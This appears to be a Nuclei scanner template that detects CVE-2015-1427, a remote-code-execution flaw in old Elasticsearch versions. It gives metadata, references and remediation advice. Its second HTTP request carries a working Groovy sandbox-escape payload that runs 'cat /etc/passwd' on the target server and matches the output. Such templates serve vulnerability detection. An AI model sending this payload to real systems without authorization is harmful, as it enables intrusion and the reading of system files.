id: CVE-2015-1427 info: name: ElasticSearch - Remote Code Execution author: pikpikcu severity: high description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine. remediation: | Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability. reference: - https://blog.csdn.net/JiangBuLiu/article/details/94457980 - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/ - https://nvd.nist.gov/vuln/detail/CVE-2015-1427 - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html - https://access.redhat.com/errata/RHSA-2017:0868 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2015-1427 cwe-id: CWE-284 epss-score: 0.8674 epss-percentile: 0.98257 cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: elasticsearch product: elasticsearch tags: packetstorm,cve,cve2015,elastic,rce,elasticsearch,kev http: - raw: - | POST /website/blog/ HTTP/1.1 Host: {{Hostname}} Accept: */* Accept-Language: en Content-Type: application/x-www-form-urlencoded { "name": "test" } - | POST /_search HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/x-www-form-urlencoded {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}} matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402205154601f5085713f5886560b37183512e5d698b911ace4f88b1008232958a47a02207e78ad7a595ccf5ab4751756aebc44662b4b1944d69cfe63e36d78deb61c1813:922c64590222798bb761d5b6d8e72950